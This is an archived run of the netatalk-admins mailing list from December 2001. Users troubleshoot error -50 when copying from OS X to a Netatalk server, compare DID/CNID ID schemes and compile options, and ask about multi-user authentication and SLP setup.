	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA02735
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 23:34:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA02724
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 23:34:27 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA02689
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 23:34:25 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA02667
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 23:34:25 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Wed, 19 Dec 2001 23:34:24 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B846D47F.5985%rzeman@his.com>
In-Reply-To: <20011219222045Z5991-234+4413@press.uchicago.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/19/01 5:21 PM, "Roy Bixler" <rcb@press.uchicago.edu> wrote:

> On Wednesday 19 December 2001 01:52 pm, Wes Yates wrote:
>>> I just set up a Netatalk server for about 10 Mac clients, mostly running
>>> OS 9 at this point.  It seems to work just fine for those.  However, when
>>> copying a directory from an OS X system, it reproducably bombs with an
>>> error -50 message.  For comparison, I booted into OS 9 and the same
>>> directory that fails with OS X copies OK with OS 9.
> whole OS X system doesn't crash.

I'm getting the same thing copying from 10.1.1 to netatalk RC2; it seems to
gag on nested folders with the error -50.
Seems to happen no matter what DID option I compile with, or with flocks or
not.
This is with Caldera OpenLinux 2.4 and kernel 2.2.20.  Note that this is the
first version of 1.5 that I've tried; I still normally use 1.4b2 (which has
its own problems, but at least I can copy files).

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Wed Dec 19 23:59:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA01776
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 23:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA21573
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 23:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA21570
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 23:59:50 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA21562
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 23:59:49 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA09614;
	Wed, 19 Dec 2001 23:59:48 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Wed, 19 Dec 2001 23:59:46 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Rick Zeman <rzeman@his.com>, <netatalk-admins@umich.edu>
Message-ID: <B846DA72.598B%rzeman@his.com>
In-Reply-To: <B846D47F.5985%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/19/01 11:34 PM, "Rick Zeman" <rzeman@his.com> wrote:

> On 12/19/01 5:21 PM, "Roy Bixler" <rcb@press.uchicago.edu> wrote:
> 
>> On Wednesday 19 December 2001 01:52 pm, Wes Yates wrote:
>>>> I just set up a Netatalk server for about 10 Mac clients, mostly running
>>>> OS 9 at this point.  It seems to work just fine for those.  However, when
>>>> copying a directory from an OS X system, it reproducably bombs with an
>>>> error -50 message.  For comparison, I booted into OS 9 and the same
>>>> directory that fails with OS X copies OK with OS 9.
>> whole OS X system doesn't crash.
> 
> I'm getting the same thing copying from 10.1.1 to netatalk RC2; it seems to
> gag on nested folders with the error -50.
> Seems to happen no matter what DID option I compile with, or with flocks or
> not.

Actually, I lied: compiling it --with-shadow --with-did=hash --with
tcp-wrappers --enable-redhat  was the winning combination.  Before, I'd user
with-flock-locks and did-last and did=hash.
It'll take someone much smarter than me to figure what's going on....

Good work guys.  Now if I can only get 10.1 to play well with Netware....

> This is with Caldera OpenLinux 2.4 and kernel 2.2.20.  Note that this is the
> first version of 1.5 that I've tried; I still normally use 1.4b2 (which has
> its own problems, but at least I can copy files).

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Dec 20 00:09:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA02107
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 00:09:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA04358
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 00:09:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA04355
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 00:09:27 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA04343
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 00:09:26 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBK58Yh22331;
	Wed, 19 Dec 2001 21:08:34 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 19 Dec 2001 21:08:57 -0800
Subject: Re: Error -50 copying from OS X
From: Steve Freitas <sflist@ihonk.com>
To: Rick Zeman <rzeman@his.com>, <netatalk-admins@umich.edu>
Message-ID: <B846B269.A216%sflist@ihonk.com>
In-Reply-To: <B846DA72.598B%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Actually, I lied: compiling it --with-shadow --with-did=hash --with
> tcp-wrappers --enable-redhat  was the winning combination.  Before, I'd user
> with-flock-locks and did-last and did=hash.
> It'll take someone much smarter than me to figure what's going on....
> 
> Good work guys.  Now if I can only get 10.1 to play well with Netware....

How about --with-shadow --with-did=last --with-tcp-wrappers --enable-redhat?

Also, did-last and did=hash are mutually exclusive options. I'd be
interested to see what happens if you try it without flock, but with
did=last.

It'd be helpful if you could isolate this to a particular configuration
switch.

Steve


From netatalk.administrators-errors@umich.edu  Thu Dec 20 00:33:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA03280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 00:33:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA15929
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 00:33:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA15906
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 00:33:45 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA15851
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 00:33:43 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id AAA18823
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 00:33:43 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 20 Dec 2001 00:33:42 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B846E266.5992%rzeman@his.com>
In-Reply-To: <B846B269.A216%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 12:08 AM, "Steve Freitas" <sflist@ihonk.com> wrote:

>> Actually, I lied: compiling it --with-shadow --with-did=hash --with
>> tcp-wrappers --enable-redhat  was the winning combination.  Before, I'd user
>> with-flock-locks and did-last and did=hash.
>> It'll take someone much smarter than me to figure what's going on....
>> 
>> Good work guys.  Now if I can only get 10.1 to play well with Netware....
> 
> How about --with-shadow --with-did=last --with-tcp-wrappers --enable-redhat?
> 
> Also, did-last and did=hash are mutually exclusive options. I'd be

Absolutely.  I didn't phrase that well.  It was with flocks and two
different compiles with the two did options, all with a make clean in
between.

> interested to see what happens if you try it without flock, but with
> did=last.

I'm pretty sure that I did that, too.  However, since I didn't take good
notes I'm not entirely sure.  Too late to try it tonight.

Anyway, with the above options, I was able to copy 1.6 gigs with nary an
error.

> It'd be helpful if you could isolate this to a particular configuration
> switch.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Dec 20 00:45:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA03758
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 00:45:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA29919
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 00:45:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA29916
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 00:45:12 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA29900
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 00:45:11 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBK5iJh23748;
	Wed, 19 Dec 2001 21:44:19 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 19 Dec 2001 21:44:38 -0800
Subject: Re: Error -50 copying from OS X
From: Steve Freitas <sflist@ihonk.com>
To: Rick Zeman <rzeman@his.com>, <netatalk-admins@umich.edu>
Message-ID: <B846BAC6.A21D%sflist@ihonk.com>
In-Reply-To: <B846E266.5992%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I'm pretty sure that I did that, too.  However, since I didn't take good
> notes I'm not entirely sure.  Too late to try it tonight.

Okay, I hope you can try it soon. It'd be nice to fry that bug.

> Anyway, with the above options, I was able to copy 1.6 gigs with nary an
> error.

DID=hash ain't such a hot idea, as it can lead to data loss when inode reuse
occurs. last is considered the most stable, and only runs into inode
problems with large amounts of files, while cnid will hopefully be judged
production ready soon.

Steve


From netatalk.administrators-errors@umich.edu  Thu Dec 20 03:26:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA09334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 03:26:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA28649
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 03:26:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA28622
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 03:26:41 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA28551
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 03:26:39 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA21146;
	Thu, 20 Dec 2001 09:49:09 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 20 Dec 2001 09:26:34 +0100
Subject: ID schemes (was: Re: afpd.mtab)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
Message-ID: <B8475C3A.165F8%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05101000b846a405069c@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 19 Dec 2001 22:49:14 +0100, Lorenzo Perone wrote:

> (would be nice to have a README.didscheme, anyway, which could give an
> overview of advantages/disadvantages of a certain scheme...)

Look into the doc/ directory of netatalk 1.5 or here:
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/doc/>

> 1) what's the difference between mtab and old?

Old "or last-did" means that each afpd increments an ID counter on its own,
which means, the first file a mac accesses gets 1, the second 2 and so on
(not strictly correct but simplified for better understanding)

Main disadvantage: IDs are only valid on a per-session base, so mechanisms
that rely on file oder directory IDs will fail (well-known example: aliases
point to notwhere after remounting a share -- IMO not true with MacOS 8.6 to
9.2, where the Finder prefers searching by path if the location of a file
hasn't changed. But many other softwares that rely on IDs will fail also,
eg. Quark Xpress...)

Then there was a solution introduced called inode-kludge. The basis for
assigning an ID will be the inodes of the underlying filesystem. Under some
circumstances the used alorithm produced duplicate IDs, which is really bad
(since problems appeared with deleting the wrong folders -- they changed
while sitting in the Network Trash Folder on the Netatalk server). So mtab
has been developed to prevent this by configuring the shared filesystems to
use the best compromise for compressing the major, minor device numbers and
inodes into a 32 bit value for the ID (see README.mtab for further details)

Main disadvantage: This isn't a correct ID implementation too. The concept
of IDs keeps in mind, that you can move a file/folder around and still find
it by it's unique unchanged ID. When moving files/folders with mtab, the IDs
will change (if moved accross file system boundaries)

Second problem: Even if you have unique IDs, you will run into problems if a
file/folder will be deleted on the server as this inode will be recycled
instantly. This is also bad, as problems with client-side ID caching can
occur (<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html>)

Have a look at this excellent synapsis too:

<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>

In my opinion, the only way to get real AFP-conformance (avoiding alias
problems, application problems and data loss by duplicate or reused
directory IDs) will be a database-driven solution. The netatalk developer
community is on the right way with CNID (many many thanks to Joe Clarke!).
But from my point of view we will really get into trouble when handling
files without notifying the database (that mean's handling files in any way
expect via afpd --> via UNIX commands, Samba, NFS or another afpd that
maintains a different database and so on...)

Unfortunately I haven't had the time already to test this in depth. But my
limited testing showed similar problems as I had with Helios' EtherShare
(avoiding the use of their desktop utilities that can keep the database
up-to-date when handling files)

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Dec 20 05:15:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA13443
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 05:15:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA11163
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 05:15:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA11143
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 05:15:39 -0500 (EST)
Received: from dodo.metaphor.no (dodo.metaphor.no [193.214.5.199])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA11077
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 05:15:38 -0500 (EST)
Received: from localhost (larsnu@localhost)
	by dodo.metaphor.no (8.11.6/8.11.6) with ESMTP id fBKAFW815781
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 11:15:33 +0100
X-Authentication-Warning: dodo.metaphor.no: larsnu owned process doing -bs
Date: Thu, 20 Dec 2001 11:15:32 +0100 (CET)
From: Lars Nummedal <lars@nummedal.net>
X-X-Sender: larsnu@dodo.metaphor.no
To: netatalk-admins@umich.edu
Subject: Authentication question
Message-ID: <Pine.LNX.4.43.0112201111230.15354-100000@dodo.metaphor.no>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I know this is more a MacOS 9 question, but is it possible to authenticate
as more than one user against a netatalk server?

Let's say I have mounted user1's home dir as user1. Now I want to open
user2's home dir as user2 at the same time. Is this possible? When I open
the chooser and double-click on the netatalk server for the second time, I
can only log on as user1. The only choice I am presented with, is 'OK' or
'Cancel'.

Any replies/links will be greatly appreciated.

Thanks,
Lars Nummedal


From netatalk.administrators-errors@umich.edu  Thu Dec 20 05:50:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14416
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 05:50:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA26286
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 05:50:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA26273
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 05:50:46 -0500 (EST)
Received: from holmes.cpfs.mpg.de (holmes.cpfs.mpg.de [141.5.12.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA26219
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 05:50:45 -0500 (EST)
Received: from cube.cpfs.mpg.de (bs@cube.cpfs.mpg.de [141.5.12.15]) by holmes.cpfs.mpg.de (8.8.8/8.8.2) with ESMTP id LAA27135; Thu, 20 Dec 2001 11:50:41 +0100 (MET)
Date: Thu, 20 Dec 2001 11:50:39 +0100
Subject: Re: SLP how-to?
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v475)
Cc: netatalk-admins@umich.edu
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
From: Burkhard Schmidt <bs@cpfs.mpg.de>
In-Reply-To: <a05101006b846ea808b68@[192.168.1.201]>
Message-Id: <683FDF06-F537-11D5-8155-003065A28C6E@cpfs.mpg.de>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.475)

Lorenzo,

three steps are needed:

(1) You have to set up an SLP server, if you don't have one already. 
Have a look at http://www.openslp.org/ for advice.
(2) You have to install the SLP header file and library in /path/to/slp 
on the machine you build Netatalk on.
(3) Build Netatalk with the configure option "--enable-
srvloc=/path/to/slp".

Regards, Burkhard.


Am Donnerstag den, 20. Dezember 2001, um 02:10, schrieb Lorenzo Perone:

> Hi,
>
> I've seen that SLP suport seeeeems to be in the netatalk code - anyfolk 
> knows how  to set this up?
>
> Thanx,
>
> :-)
>
> Lorenzo
>


From netatalk.administrators-errors@umich.edu  Thu Dec 20 08:16:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20233
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 08:16:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA14782
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 08:16:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA14771
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 08:16:33 -0500 (EST)
Received: from yellowspace.net ([213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id IAA14751
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 08:16:31 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000168019; Thu, 20 Dec 2001 14:16:32 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b8478db35706@[192.168.1.201]>
In-Reply-To: <B8475C3A.165F8%Thomas.Kaiser@phg-online.de>
References: <B8475C3A.165F8%Thomas.Kaiser@phg-online.de>
Date: Thu, 20 Dec 2001 14:16:26 +0100
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: ID schemes (was: Re: afpd.mtab)
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii"

Thanx a lot for this info...
mails like these should go into some contrib-README...

BTW,
It's a hard issue, thisone.
On one side, netatalk talks 'afp', on the other hand, it has to deal with non-hfs filesystems, which creates conceptional issues above all.

I think Apple should implement much better the 'foreign filesystem' layer of the network fs drivers (clients) in OSX. Such a layer already exists, it is one of the core abstraction-jewels of OSX.
But it should offer to all filesystems more options, to honour the efforts made:
For example, protocol-independant network share options, settable by the server as well as by the experienced user/admin (such as: supports DID or not; supports creation of invisible resource files or not; supports resource forks or not; etc...).
It's Apple who made the mess, and Apple should provide well made, elegant, easy means to get out of the mess cleanly... ;-)

Regards,
Lorenzo


At 9:26 Uhr +0100 20.12.2001, Thomas Kaiser wrote:
>On Wed, 19 Dec 2001 22:49:14 +0100, Lorenzo Perone wrote:
>
>> (would be nice to have a README.didscheme, anyway, which could give an
>> overview of advantages/disadvantages of a certain scheme...)
>
>Look into the doc/ directory of netatalk 1.5 or here:
><http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/doc/>
>
>> 1) what's the difference between mtab and old?
>
>Old "or last-did" means that each afpd increments an ID counter on its own,
>which means, the first file a mac accesses gets 1, the second 2 and so on
>(not strictly correct but simplified for better understanding)
>
>Main disadvantage: IDs are only valid on a per-session base, so mechanisms
>that rely on file oder directory IDs will fail (well-known example: aliases
>point to notwhere after remounting a share -- IMO not true with MacOS 8.6 to
>9.2, where the Finder prefers searching by path if the location of a file
>hasn't changed. But many other softwares that rely on IDs will fail also,
>eg. Quark Xpress...)
>
>Then there was a solution introduced called inode-kludge. The basis for
>assigning an ID will be the inodes of the underlying filesystem. Under some
>circumstances the used alorithm produced duplicate IDs, which is really bad
>(since problems appeared with deleting the wrong folders -- they changed
>while sitting in the Network Trash Folder on the Netatalk server). So mtab
>has been developed to prevent this by configuring the shared filesystems to
>use the best compromise for compressing the major, minor device numbers and
>inodes into a 32 bit value for the ID (see README.mtab for further details)
>
>Main disadvantage: This isn't a correct ID implementation too. The concept
>of IDs keeps in mind, that you can move a file/folder around and still find
>it by it's unique unchanged ID. When moving files/folders with mtab, the IDs
>will change (if moved accross file system boundaries)
>
>Second problem: Even if you have unique IDs, you will run into problems if a
>file/folder will be deleted on the server as this inode will be recycled
>instantly. This is also bad, as problems with client-side ID caching can
>occur (<http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html>)
>
>Have a look at this excellent synapsis too:
>
><http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>
>
>In my opinion, the only way to get real AFP-conformance (avoiding alias
>problems, application problems and data loss by duplicate or reused
>directory IDs) will be a database-driven solution. The netatalk developer
>community is on the right way with CNID (many many thanks to Joe Clarke!).
>But from my point of view we will really get into trouble when handling
>files without notifying the database (that mean's handling files in any way
>expect via afpd --> via UNIX commands, Samba, NFS or another afpd that
>maintains a different database and so on...)
>
>Unfortunately I haven't had the time already to test this in depth. But my
>limited testing showed similar problems as I had with Helios' EtherShare
>(avoiding the use of their desktop utilities that can keep the database
>up-to-date when handling files)
>
>Best regards,
>
>Thomas


From netatalk.administrators-errors@umich.edu  Thu Dec 20 08:48:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA21880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 08:48:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA13203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 08:48:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA13192
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 08:48:30 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA13158
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 08:48:29 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id IAA12613
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 08:48:28 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 20 Dec 2001 08:48:28 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B847565B.59AA%rzeman@his.com>
In-Reply-To: <B846E266.5992%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 12:33 AM, "Rick Zeman" <rzeman@his.com> wrote:

> On 12/20/01 12:08 AM, "Steve Freitas" <sflist@ihonk.com> wrote:
> 
>> interested to see what happens if you try it without flock, but with
>> did=last.

Error -50s again.  So I HAD done it.  (options were with-shadow,
--with-did=last, with-tcp-wrappers --enable-redhat.


> I'm pretty sure that I did that, too.  However, since I didn't take good
> notes I'm not entirely sure.  Too late to try it tonight.
> 
> Anyway, with the above options, I was able to copy 1.6 gigs with nary an
> error.
> 
>> It'd be helpful if you could isolate this to a particular configuration
>> switch.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Dec 20 08:55:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA22497
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 08:55:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA08722
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 08:55:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA08707
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 08:55:52 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA08677
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 08:55:50 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA22938;
